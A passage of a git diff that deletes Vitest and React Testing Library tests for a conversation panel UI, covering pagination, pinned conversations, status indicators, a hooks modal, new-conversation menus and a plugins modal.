after older conversations are hidden from the filter dropdown", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - createMockConversation({ - id: "old1", - title: "Old 1", - updated_at: olderIso(), - }), - ], - next_page_id: "page-2", - }); - - renderConversationPanel(); - - await screen.findAllByTestId("conversation-card"); - // Older conversations are visible by default, so load-more is visible. - expect(screen.getByTestId("load-more-conversations")).toBeInTheDocument(); - - // Hide older conversations via the filter dropdown. - const user = userEvent.setup(); - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click(screen.getByTestId("toggle-older-conversations")); - - // Older conversations are hidden → no load-more. - expect( - screen.queryByTestId("load-more-conversations"), - ).not.toBeInTheDocument(); - - // After showing older conversations again, the link reappears. - await user.click(screen.getByTestId("older-conversations-filter-toggle")); - await user.click(screen.getByTestId("toggle-older-conversations")); - expect( - await screen.findByTestId("load-more-conversations"), - ).toBeInTheDocument(); - }); - - it("fetches the next page when the load-more link is clicked", async () => { - const user = userEvent.setup(); - const searchSpy = vi - .spyOn(AgentServerConversationService, "searchConversations") - .mockResolvedValueOnce({ - items: [ - createMockConversation({ - id: "recent", - title: "Recent", - updated_at: recentIso(), - }), - ], - next_page_id: "page-2", - }) - .mockResolvedValueOnce({ - items: [ - createMockConversation({ - id: "page2-1", - title: "Page 2 Conversation", - updated_at: recentIso(), - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - const loadMore = await screen.findByTestId("load-more-conversations"); - await user.click(loadMore); - - await waitFor(() => { - expect(searchSpy).toHaveBeenCalledTimes(2); - }); - - // After the second page resolves, the link disappears (no more pages). - await waitFor(() => { - expect( - screen.queryByTestId("load-more-conversations"), - ).not.toBeInTheDocument(); - }); - }); - }); - - it("reorders grouped folders via drag and drop", async () => { - useConversationPanelPreferencesStore.setState({ - organizeMode: "grouped", - groupFolderOrder: [], - }); - - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "alpha-chat", - title: "Alpha Chat", - selected_workspace: "/workspace/alpha", - }), - createMockConversation({ - id: "beta-chat", - title: "Beta Chat", - selected_workspace: "/workspace/beta", - }), - ], - next_page_id: null, - }); - - renderConversationPanel(); - - const alphaFolder = await screen.findByTestId( - "thread-folder-ws--workspace-alpha", - ); - const betaFolder = screen.getByTestId("thread-folder-ws--workspace-beta"); - expect(alphaFolder.compareDocumentPosition(betaFolder)).toBe( - Node.DOCUMENT_POSITION_FOLLOWING, - ); - - const dragHandle = screen.getByTestId( - "thread-folder-drag-ws--workspace-alpha", - ); - const dataTransfer = { - effectAllowed: "move", - dropEffect: "move", - data: {} as Record, - setData(format: string, value: string) { - this.data[format] = value; - }, - getData(format: string) { - return this.data[format]; - }, - }; - fireEvent.dragStart(dragHandle, { dataTransfer }); - fireEvent.dragOver(betaFolder, { dataTransfer }); - fireEvent.drop(betaFolder, { dataTransfer }); - - const reorderedAlpha = screen.getByTestId( - "thread-folder-ws--workspace-alpha", - ); - const reorderedBeta = screen.getByTestId("thread-folder-ws--workspace-beta"); - expect(reorderedBeta.compareDocumentPosition(reorderedAlpha)).toBe( - Node.DOCUMENT_POSITION_FOLLOWING, - ); - expect( - useConversationPanelPreferencesStore.getState().groupFolderOrder, - ).toEqual(["ws:/workspace/beta", "ws:/workspace/alpha"]); - }); - - it("shows a pinned section above the conversations list when pins exist", async () => { - usePinnedConversationsStore - .getState() - .pinConversation("default-local", "2"); - - renderConversationPanel(); - - const pinnedSection = await screen.findByTestId( - "conversation-panel-pinned-section", - ); - expect( - within(pinnedSection).getByText("CONVERSATION_PANEL$PINNED"), - ).toBeInTheDocument(); - expect( - within(pinnedSection).getAllByTestId("conversation-card"), - ).toHaveLength(1); - expect( - within(pinnedSection).getByTestId("conversation-pin-toggle-2"), - ).toBeInTheDocument(); - }); - - it("renders pinned conversations only in the pinned section in chronological mode", async () => { - usePinnedConversationsStore - .getState() - .pinConversation("default-local", "2"); - - renderConversationPanel(); - - const pinnedSection = await screen.findByTestId( - "conversation-panel-pinned-section", - ); - expect(within(pinnedSection).getAllByTestId("conversation-card")).toHaveLength( - 1, - ); - expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3); - expect(screen.getAllByText("Conversation 2")).toHaveLength(1); - }); - - it("renders pinned conversations only in the pinned section in grouped mode", async () => { - useConversationPanelPreferencesStore.setState({ organizeMode: "grouped" }); - usePinnedConversationsStore - .getState() - .pinConversation("default-local", "2"); - - renderConversationPanel(); - - const pinnedSection = await screen.findByTestId( - "conversation-panel-pinned-section", - ); - expect(within(pinnedSection).getAllByTestId("conversation-card")).toHaveLength( - 1, - ); - expect(await screen.findAllByTestId("conversation-card")).toHaveLength(3); - expect(screen.getAllByText("Conversation 2")).toHaveLength(1); - }); - - it("hides the pinned section after the last pin is removed", async () => { - usePinnedConversationsStore - .getState() - .pinConversation("default-local", "2"); - - const user = userEvent.setup(); - renderConversationPanel(); - - const pinnedSection = await screen.findByTestId( - "conversation-panel-pinned-section", - ); - const pinnedCard = within(pinnedSection).getByTestId("conversation-card"); - await user.hover(pinnedCard); - await user.click( - within(pinnedSection).getByTestId("conversation-pin-toggle-2"), - ); - - await waitFor(() => { - expect( - screen.queryByTestId("conversation-panel-pinned-section"), - ).not.toBeInTheDocument(); - }); - }); - - it("shows only five pinned conversations before a More control", async () => { - const manyConversations = Array.from({ length: 6 }, (_, index) => - createMockConversation({ - id: String(index + 1), - title: `Conversation ${index + 1}`, - }), - ); - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: manyConversations, - next_page_id: null, - }); - for (const conversation of manyConversations) { - usePinnedConversationsStore - .getState() - .pinConversation("default-local", conversation.id); - } - - renderConversationPanel(); - - const pinnedSection = await screen.findByTestId( - "conversation-panel-pinned-section", - ); - expect( - within(pinnedSection).getAllByTestId("conversation-card"), - ).toHaveLength(5); - expect( - within(pinnedSection).getByTestId("conversation-panel-pinned-view-more"), - ).toHaveTextContent("CONVERSATION_PANEL$MORE"); - }); -}); diff --git a/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx b/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx deleted file mode 100644 index dd0abc5b1..000000000 --- a/__tests__/components/features/conversation-panel/conversation-status-dot.test.tsx +++ /dev/null @@ -1,72 +0,0 @@ -import type { ReactNode } from "react"; -import { screen } from "@testing-library/react"; -import { describe, expect, it, vi } from "vitest"; - -import { renderWithProviders } from "test-utils"; -import { ConversationStatusDot } from "#/components/features/conversation-panel/conversation-status-dot"; -import { ExecutionStatus } from "#/types/agent-server/core/base/common"; - -vi.mock("#/components/shared/buttons/styled-tooltip", () => ({ - StyledTooltip: ({ - children, - content, - }: { - children: ReactNode; - content: string; - }) => ( -
- {children} -
- ), -})); - -describe("ConversationStatusDot", () => { - it.each([ - [ExecutionStatus.FINISHED, "conversation-status-check", "COMMON$FINISHED"], - [ExecutionStatus.RUNNING, "conversation-status-working", "COMMON$WORKING"], - [ExecutionStatus.PAUSED, "conversation-status-paused", "COMMON$PAUSED"], - [ExecutionStatus.IDLE, "conversation-status-active", "COMMON$WORKING"], - [ - ExecutionStatus.WAITING_FOR_CONFIRMATION, - "conversation-status-active", - "COMMON$WORKING", - ], - [ExecutionStatus.ERROR, "conversation-status-error", "COMMON$ERROR"], - [ExecutionStatus.STUCK, "conversation-status-error", "COMMON$ERROR"], - ])("renders %s as %s", (status, testId, tooltipLabel) => { - renderWithProviders(); - - expect(screen.getByTestId(testId)).toBeInTheDocument(); - expect(screen.getByTestId("styled-tooltip")).toHaveAttribute( - "data-content", - tooltipLabel, - ); - }); - - it("renders the unknown state for missing execution status", () => { - renderWithProviders(); - - expect(screen.getByTestId("conversation-status-unknown")).toBeInTheDocument(); - expect(screen.getByTestId("styled-tooltip")).toHaveAttribute( - "data-content", - "COMMON$STOPPED", - ); - }); - - it("renders archive icon when sandbox is MISSING (archived)", () => { - renderWithProviders( - , - ); - - expect( - screen.getByTestId("conversation-status-archived"), - ).toBeInTheDocument(); - expect(screen.getByTestId("styled-tooltip")).toHaveAttribute( - "data-content", - "COMMON$ARCHIVED", - ); - }); -}); diff --git a/__tests__/components/features/conversation-panel/hooks-modal.test.tsx b/__tests__/components/features/conversation-panel/hooks-modal.test.tsx deleted file mode 100644 index 8624b8ef7..000000000 --- a/__tests__/components/features/conversation-panel/hooks-modal.test.tsx +++ /dev/null @@ -1,303 +0,0 @@ -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import React from "react"; -import { HookEventItem } from "#/components/features/conversation-panel/hook-event-item"; -import { HooksEmptyState } from "#/components/features/conversation-panel/hooks-empty-state"; -import { HooksLoadingState } from "#/components/features/conversation-panel/hooks-loading-state"; -import { HooksModalHeader } from "#/components/features/conversation-panel/hooks-modal-header"; -import { HookEvent } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock react-i18next -vi.mock("react-i18next", async () => { - const actual = await vi.importActual("react-i18next"); - return { - ...actual, - useTranslation: () => ({ - t: (key: string, params?: Record) => { - if (key === "HOOKS_MODAL$HOOK_COUNT") { - const count = Number(params?.count ?? 0); - return count === 1 ? `${count} hook` : `${count} hooks`; - } - - const translations: Record = { - HOOKS_MODAL$TITLE: "Available Hooks", - HOOKS_MODAL$WARNING: "Hooks warning text", - HOOKS_MODAL$EVENT_PRE_TOOL_USE: "Pre Tool Use", - HOOKS_MODAL$EVENT_POST_TOOL_USE: "Post Tool Use", - HOOKS_MODAL$EVENT_USER_PROMPT_SUBMIT: "User Prompt Submit", - HOOKS_MODAL$EVENT_SESSION_START: "Session Start", - HOOKS_MODAL$EVENT_SESSION_END: "Session End", - HOOKS_MODAL$EVENT_STOP: "Stop", - HOOKS_MODAL$MATCHER: "Matcher", - HOOKS_MODAL$COMMANDS: "Commands", - HOOKS_MODAL$TYPE: `Type: ${params?.type ?? ""}`, - HOOKS_MODAL$TIMEOUT: `Timeout: ${params?.timeout ?? 0}s`, - HOOKS_MODAL$ASYNC: "Async", - COMMON$FETCH_ERROR: "Failed to fetch data", - CONVERSATION$NO_HOOKS: "No hooks configured", - BUTTON$REFRESH: "Refresh", - BUTTON$CLOSE: "Close", - }; - return translations[key] || key; - }, - i18n: { - changeLanguage: () => new Promise(() => {}), - }, - }), - }; -}); - -describe("HooksLoadingState", () => { - it("should render loading spinner", () => { - render(); - const spinner = document.querySelector(".animate-spin"); - expect(spinner).toBeInTheDocument(); - }); -}); - -describe("HooksEmptyState", () => { - it("should render no hooks message when not error", () => { - render(); - expect(screen.getByText("No hooks configured")).toBeInTheDocument(); - }); - - it("should render error message when isError is true", () => { - render(); - expect(screen.getByText("Failed to fetch data")).toBeInTheDocument(); - }); -}); - -describe("HooksModalHeader", () => { - const defaultProps = { - isLoading: false, - isRefetching: false, - onRefresh: vi.fn(), - onClose: vi.fn(), - }; - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("should render title and warning", () => { - render(); - expect(screen.getByText("Available Hooks")).toBeInTheDocument(); - expect(screen.getByText("Hooks warning text")).toBeInTheDocument(); - }); - - it("should render icon-only refresh button with accessible label", () => { - render(); - const refreshButton = screen.getByTestId("refresh-hooks"); - expect(refreshButton).toBeInTheDocument(); - expect(refreshButton).toHaveAttribute("aria-label", "Refresh"); - expect(refreshButton).not.toHaveTextContent("Refresh"); - }); - - it("should render close button", () => { - render(); - expect(screen.getByTestId("close-hooks-modal")).toBeInTheDocument(); - }); - - it("should call onRefresh when refresh button is clicked", async () => { - const user = userEvent.setup(); - const onRefresh = vi.fn(); - render(); - - await user.click(screen.getByTestId("refresh-hooks")); - expect(onRefresh).toHaveBeenCalledTimes(1); - }); - - it("should call onClose when close button is clicked", async () => { - const user = userEvent.setup(); - const onClose = vi.fn(); - render(); - - await user.click(screen.getByTestId("close-hooks-modal")); - expect(onClose).toHaveBeenCalledTimes(1); - }); - - it("should disable refresh button when loading", () => { - render(); - expect(screen.getByTestId("refresh-hooks")).toBeDisabled(); - }); - - it("should disable refresh button when refetching", () => { - render(); - expect(screen.getByTestId("refresh-hooks")).toBeDisabled(); - }); -}); - -describe("HookEventItem", () => { - const mockHookEvent: HookEvent = { - event_type: "stop", - matchers: [ - { - matcher: "*", - hooks: [ - { - type: "command", - command: ".openhands/hooks/on_stop.sh", - timeout: 30, - async: true, - }, - ], - }, - ], - }; - - const defaultProps = { - hookEvent: mockHookEvent, - isExpanded: false, - onToggle: vi.fn(), - }; - - beforeEach(() => { - vi.clearAllMocks(); - }); - - it("should render event type label using i18n", () => { - render(); - expect(screen.getByText("Stop")).toBeInTheDocument(); - }); - - it("should render hook count", () => { - render(); - expect(screen.getByText("1 hook")).toBeInTheDocument(); - }); - - it("should call onToggle when clicked", async () => { - const user = userEvent.setup(); - const onToggle = vi.fn(); - render(); - - await user.click(screen.getByRole("button")); - expect(onToggle).toHaveBeenCalledWith("stop"); - }); - - it("should show collapsed state by default", () => { - render(); - expect(screen.queryByText("*")).not.toBeInTheDocument(); - }); - - it("should show expanded state with matcher content", () => { - render(); - expect(screen.getByText("*")).toBeInTheDocument(); - }); - - it("should render async badge for async hooks", () => { - render(); - expect(screen.getByText("Async")).toBeInTheDocument(); - }); - - it("should render different event types with correct i18n labels", () => { - const eventTypes = [ - { type: "pre_tool_use", label: "Pre Tool Use" }, - { type: "post_tool_use", label: "Post Tool Use" }, - { type: "user_prompt_submit", label: "User Prompt Submit" }, - { type: "session_start", label: "Session Start" }, - { type: "session_end", label: "Session End" }, - { type: "stop", label: "Stop" }, - ]; - - eventTypes.forEach(({ type, label }) => { - const { unmount } = render( - , - ); - expect(screen.getByText(label)).toBeInTheDocument(); - unmount(); - }); - }); - - it("should fallback to event_type when no i18n key exists", () => { - render( - , - ); - expect(screen.getByText("unknown_event")).toBeInTheDocument(); - }); - - it("should not crash when a matcher has undefined hooks", () => { - const hookEventWithUndefinedHooks: HookEvent = { - event_type: "stop", - matchers: [ - { - matcher: "*", - hooks: undefined, - }, - ], - }; - - expect(() => - render( - , - ), - ).not.toThrow(); - - expect(screen.getByText("0 hooks")).toBeInTheDocument(); - }); - - it("should not crash when a matcher has undefined hooks in expanded state", () => { - const hookEventWithUndefinedHooks: HookEvent = { - event_type: "stop", - matchers: [ - { - matcher: "*", - hooks: undefined, - }, - ], - }; - - expect(() => - render( - , - ), - ).not.toThrow(); - }); - - it("should handle a mix of matchers with and without hooks", () => { - const mixedHookEvent: HookEvent = { - event_type: "pre_tool_use", - matchers: [ - { - matcher: "terminal", - hooks: [ - { - type: "command", - command: "check.sh", - timeout: 10, - }, - ], - }, - { - matcher: "browser", - hooks: undefined, - }, - ], - }; - - expect(() => - render( - , - ), - ).not.toThrow(); - - expect(screen.getByText("1 hook")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx b/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx deleted file mode 100644 index d3e84758d..000000000 --- a/__tests__/components/features/conversation-panel/local-new-conversation-menu.test.tsx +++ /dev/null @@ -1,264 +0,0 @@ -import { screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { renderWithProviders } from "test-utils"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import WorkspacesService from "#/api/workspaces-service/workspaces-service.api"; -import { LocalNewConversationMenu } from "#/components/features/conversation-panel/local-new-conversation-menu"; -import { LocalWorkspace, LocalWorkspaceParent } from "#/types/workspace"; - -const { mockSearchSubdirectories } = vi.hoisted(() => ({ - mockSearchSubdirectories: vi.fn(), -})); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackConversationCreated: vi.fn(), - }), -})); - -vi.mock("@openhands/typescript-client/clients", async () => { - const actual = await vi.importActual< - typeof import("@openhands/typescript-client/clients") - >("@openhands/typescript-client/clients"); - return { - ...actual, - FileClient: vi.fn(function FileClientMock() { - return { searchSubdirectories: mockSearchSubdirectories }; - }), - }; -}); - -vi.mock( - "#/components/features/home/workspace-dropdown/folder-browser-modal", - () => ({ - FolderBrowserModal: ({ isOpen }: { isOpen: boolean }) => - isOpen ?
: null, - }), -); - -vi.mock( - "#/components/features/home/workspace-dropdown/manage-workspaces-modal", - () => ({ - ManageWorkspacesModal: ({ isOpen }: { isOpen: boolean }) => - isOpen ?
: null, - }), -); - -const makeStartTask = (conversationId: string) => ({ - id: "task-id", - created_by_user_id: null, - status: "READY" as const, - detail: null, - app_conversation_id: conversationId, - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github" as const, - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default" as const, - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), -}); - -const renderMenu = ({ - workspaces = [], - workspaceParents = [], - navigate, -}: { - workspaces?: LocalWorkspace[]; - workspaceParents?: LocalWorkspaceParent[]; - navigate?: (to: string) => void; -} = {}) => { - vi.spyOn(WorkspacesService, "listWorkspaces").mockResolvedValue({ - workspaces, - workspaceParents, - }); - return renderWithProviders( - ( - - )} - />, - { navigation: { navigate, currentPath: "/conversations" } }, - ); -}; - -describe("LocalNewConversationMenu", () => { - beforeEach(() => { - mockSearchSubdirectories.mockReset(); - mockSearchSubdirectories.mockResolvedValue({ items: [], next_page_id: null }); - }); - - afterEach(() => { - vi.restoreAllMocks(); - }); - - it("shows a divider above the workspace footer actions", async () => { - const user = userEvent.setup(); - renderMenu(); - - await user.click(screen.getByTestId("new-conversation-button")); - - expect( - screen.getByTestId("new-conversation-menu-footer-divider"), - ).toBeInTheDocument(); - }); - - it("toggles the popover and dismisses it on outside click", async () => { - // Arrange - renderMenu(); - const user = userEvent.setup(); - - // Act + Assert: open - await user.click(screen.getByTestId("new-conversation-button")); - expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument(); - - // Act + Assert: outside click closes - await user.click(document.body); - await waitFor(() => { - expect( - screen.queryByTestId("new-conversation-popover"), - ).not.toBeInTheDocument(); - }); - }); - - it("dismisses the popover on Escape", async () => { - // Arrange - renderMenu(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("new-conversation-button")); - expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument(); - - // Act - await user.keyboard("{Escape}"); - - // Assert - await waitFor(() => { - expect( - screen.queryByTestId("new-conversation-popover"), - ).not.toBeInTheDocument(); - }); - }); - - it("launches a conversation for the selected workspace", async () => { - // Arrange - const navigate = vi.fn(); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeStartTask("conv-123")); - renderMenu({ - workspaces: [ - { - id: "/workspace/project/repo1", - name: "repo1", - path: "/workspace/project/repo1", - }, - ], - navigate, - }); - const user = userEvent.setup(); - - // Act - await user.click(screen.getByTestId("new-conversation-button")); - await user.click(await screen.findByRole("button", { name: "repo1" })); - - // Assert - await waitFor(() => { - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - null, - "/workspace/project/repo1", - undefined, - undefined, - undefined, - ); - }); - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith("/conversations/conv-123"); - }); - }); - - it("disables launch actions while a conversation is being created", async () => { - // Arrange - vi.spyOn( - AgentServerConversationService, - "createConversation", - ).mockImplementation(() => new Promise(() => {})); - renderMenu({ - workspaces: [ - { - id: "/workspace/project/repo1", - name: "repo1", - path: "/workspace/project/repo1", - }, - ], - }); - const user = userEvent.setup(); - - // Act - await user.click(screen.getByTestId("new-conversation-button")); - await user.click(screen.getByTestId("launch-no-workspace")); - - // Assert - await waitFor(() => { - expect(screen.getByTestId("launch-no-workspace")).toBeDisabled(); - expect(screen.getByTestId("launch-workspace")).toBeDisabled(); - }); - }); - - it("keeps the popover open while a workspace modal is open", async () => { - // Arrange — add-modal exercises the shared `keepPopoverOpenOnMouseDown` - // handler; manage-modal uses the same handler so we don't duplicate. - renderMenu(); - const user = userEvent.setup(); - await user.click(screen.getByTestId("new-conversation-button")); - - // Act - await user.click(screen.getByTestId("add-workspaces-button")); - - // Assert - expect(screen.getByTestId("folder-browser-modal")).toBeInTheDocument(); - await user.click(document.body); - expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument(); - }); - - it("keeps the popover open when conversation creation fails", async () => { - // Arrange - const navigate = vi.fn(); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockRejectedValue(new Error("create failed")); - renderMenu({ navigate }); - const user = userEvent.setup(); - - // Act - await user.click(screen.getByTestId("new-conversation-button")); - await user.click(screen.getByTestId("launch-no-workspace")); - - // Assert - await waitFor(() => { - expect(createSpy).toHaveBeenCalledTimes(1); - }); - await waitFor(() => { - expect(screen.getByTestId("launch-no-workspace")).not.toBeDisabled(); - }); - expect(navigate).not.toHaveBeenCalled(); - expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/new-conversation-button-cloud.test.tsx b/__tests__/components/features/conversation-panel/new-conversation-button-cloud.test.tsx deleted file mode 100644 index 9c924ede1..000000000 --- a/__tests__/components/features/conversation-panel/new-conversation-button-cloud.test.tsx +++ /dev/null @@ -1,245 +0,0 @@ -import { screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { renderWithProviders } from "test-utils"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { NewConversationButton } from "#/components/features/conversation-panel/new-conversation-button"; -import { GitRepository } from "#/types/git"; - -const mockUseUserProviders = vi.fn(); -const mockUseActiveBackend = vi.fn(); -const mockUseGitRepositories = vi.fn(); -const mockUseSearchRepositories = vi.fn(); - -vi.mock("#/hooks/use-user-providers", () => ({ - useUserProviders: () => mockUseUserProviders(), -})); - -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => mockUseActiveBackend(), -})); - -vi.mock("#/hooks/query/use-git-repositories", () => ({ - useGitRepositories: (...args: unknown[]) => mockUseGitRepositories(...args), -})); - -vi.mock("#/hooks/query/use-search-repositories", () => ({ - useSearchRepositories: (...args: unknown[]) => - mockUseSearchRepositories(...args), -})); - -vi.mock("#/hooks/use-tracking", () => ({ - useTracking: () => ({ - trackConversationCreated: vi.fn(), - }), -})); - -const makeRepo = ( - full_name: string, - overrides: Partial = {}, -): GitRepository => ({ - id: full_name, - full_name, - git_provider: "github", - is_public: true, - ...overrides, -}); - -const makeStartTask = (conversationId: string) => ({ - id: "task-id", - created_by_user_id: null, - status: "READY" as const, - detail: null, - app_conversation_id: conversationId, - agent_server_url: "http://agent-server.local", - request: { - initial_message: null, - processors: [], - llm_model: null, - selected_repository: null, - selected_branch: null, - git_provider: "github" as const, - suggested_task: null, - title: null, - trigger: null, - pr_number: [], - parent_conversation_id: null, - agent_type: "default" as const, - }, - created_at: new Date().toISOString(), - updated_at: new Date().toISOString(), -}); - -describe("NewConversationButton (cloud)", () => { - beforeEach(() => { - window.localStorage.clear(); - mockUseActiveBackend.mockReturnValue({ - backend: { id: "cloud-1", kind: "cloud" }, - orgId: null, - }); - mockUseUserProviders.mockReturnValue({ - providers: ["github"], - isLoadingSettings: false, - }); - mockUseGitRepositories.mockReturnValue({ - data: { - pages: [ - { - items: [ - makeRepo("octo/cat", { main_branch: "main" }), - makeRepo("octo/dog", { main_branch: "trunk" }), - ], - next_page_id: null, - }, - ], - }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - mockUseSearchRepositories.mockReturnValue({ - data: [], - isLoading: false, - }); - }); - - afterEach(() => { - vi.restoreAllMocks(); - window.localStorage.clear(); - }); - - it("renders a list of repositories from the active provider", async () => { - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(screen.getByTestId("new-conversation-button")); - - expect(screen.getByTestId("new-conversation-popover")).toBeInTheDocument(); - const items = screen.getAllByTestId("launch-repository"); - expect(items).toHaveLength(2); - expect(items[0]).toHaveAttribute("data-repo-name", "octo/cat"); - expect(items[1]).toHaveAttribute("data-repo-name", "octo/dog"); - - // No workspace footer in cloud mode. - expect( - screen.queryByTestId("add-workspaces-button"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("launch-no-workspace")).not.toBeInTheDocument(); - }); - - it("launches a conversation against the repo's default branch", async () => { - const navigate = vi.fn(); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeStartTask("conv-xyz")); - - const user = userEvent.setup(); - renderWithProviders(, { - navigation: { navigate, currentPath: "/conversations" }, - }); - - await user.click(screen.getByTestId("new-conversation-button")); - const items = screen.getAllByTestId("launch-repository"); - await user.click(items[1]); // octo/dog, main_branch = "trunk" - - await waitFor(() => { - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - { - selected_repository: "octo/dog", - selected_branch: "trunk", - git_provider: "github", - }, - undefined, - undefined, - undefined, - undefined, - ); - }); - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith("/conversations/conv-xyz"); - }); - }); - - it('falls back to "main" when the repository has no main_branch metadata', async () => { - mockUseGitRepositories.mockReturnValue({ - data: { - pages: [{ items: [makeRepo("octo/no-main")], next_page_id: null }], - }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - const createSpy = vi - .spyOn(AgentServerConversationService, "createConversation") - .mockResolvedValue(makeStartTask("conv-abc")); - - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(screen.getByTestId("new-conversation-button")); - await user.click(screen.getByTestId("launch-repository")); - - await waitFor(() => { - expect(createSpy).toHaveBeenCalledWith( - undefined, - undefined, - undefined, - { - selected_repository: "octo/no-main", - selected_branch: "main", - git_provider: "github", - }, - undefined, - undefined, - undefined, - undefined, - ); - }); - }); - - it("renders provider tabs when multiple providers are connected", async () => { - mockUseUserProviders.mockReturnValue({ - providers: ["github", "gitlab"], - isLoadingSettings: false, - }); - - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(screen.getByTestId("new-conversation-button")); - - expect(screen.getByTestId("cloud-provider-tabs")).toBeInTheDocument(); - expect(screen.getByTestId("cloud-provider-tab-github")).toBeInTheDocument(); - expect(screen.getByTestId("cloud-provider-tab-gitlab")).toBeInTheDocument(); - }); - - it("shows an empty state when no repositories are returned", async () => { - mockUseGitRepositories.mockReturnValue({ - data: { pages: [{ items: [], next_page_id: null }] }, - isLoading: false, - isError: false, - hasNextPage: false, - isFetchingNextPage: false, - fetchNextPage: vi.fn(), - onLoadMore: vi.fn(), - }); - - const user = userEvent.setup(); - renderWithProviders(); - - await user.click(screen.getByTestId("new-conversation-button")); - - expect(screen.getByTestId("cloud-repo-empty")).toBeInTheDocument(); - expect(screen.queryAllByTestId("launch-repository")).toHaveLength(0); - }); -}); diff --git a/__tests__/components/features/conversation-panel/plugins-modal.test.tsx b/__tests__/components/features/conversation-panel/plugins-modal.test.tsx deleted file mode 100644 index 46e88c6ed..000000000 --- a/__tests__/components/features/conversation-panel/plugins-modal.test.tsx +++ /dev/null @@ -1,103 +0,0 @@ -import { screen } from "@testing-library/react"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { - removeStoredConversationMetadata, - setStoredConversationMetadata, -} from "#/api/conversation-metadata-store"; -import { PluginsModal } from "#/components/features/conversation-panel/plugins-modal"; - -const CONVERSATION_ID = "conv-plugins-modal"; - -afterEach(() => removeStoredConversationMetadata(CONVERSATION_ID)); - -function renderModal() { - return renderWithProviders(, { - navigation: { conversationId: CONVERSATION_ID }, - }); -} - -describe("PluginsModal", () => { - it("lists the plugins attached to the conversation with their source and ref", () => { - setStoredConversationMetadata(CONVERSATION_ID, { - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: [ - { - source: "github:OpenHands/extensions", - ref: "main", - repo_path: "plugins/city-weather", - }, - ], - }); - - renderModal(); - - expect( - screen.getByTestId("active-plugin-city-weather"), - ).toBeInTheDocument(); - expect(screen.getByText("OpenHands/extensions @ main")).toBeInTheDocument(); - }); - - it("shows the plugin's name when the source is not a useful label", () => { - // A locally-installed plugin: the source ("local") can't be derived into a - // meaningful name, so the explicit name must be displayed. - setStoredConversationMetadata(CONVERSATION_ID, { - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: [ - { source: "local", ref: null, repo_path: null, name: "city-weather" }, - ], - }); - - renderModal(); - - expect( - screen.getByTestId("active-plugin-city-weather"), - ).toBeInTheDocument(); - }); - - it("renders a normalized 'Local' label for locally-installed plugins instead of the raw source", () => { - // The agent-server records local installs two ways: the "local" sentinel - // and an absolute filesystem path. Both should read the same, and the path - // (which leaks the home dir) must not be shown verbatim. - setStoredConversationMetadata(CONVERSATION_ID, { - selected_repository: null, - selected_branch: null, - git_provider: null, - plugins: [ - { source: "local", ref: null, repo_path: null, name: "city-weather" }, - { - source: - "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test", - ref: null, - repo_path: null, - name: "magic-test", - }, - ], - }); - - renderModal(); - - expect(screen.getAllByText("PLUGINS_MODAL$SOURCE_LOCAL")).toHaveLength(2); - expect( - screen.queryByText( - "/Users/me/.openhands/cache/skills/public-skills/plugins/magic-test", - ), - ).not.toBeInTheDocument(); - }); - - it("shows the empty state when no plugins are attached", () => { - setStoredConversationMetadata(CONVERSATION_ID, { - selected_repository: null, - selected_branch: null, - git_provider: null, - }); - - renderModal(); 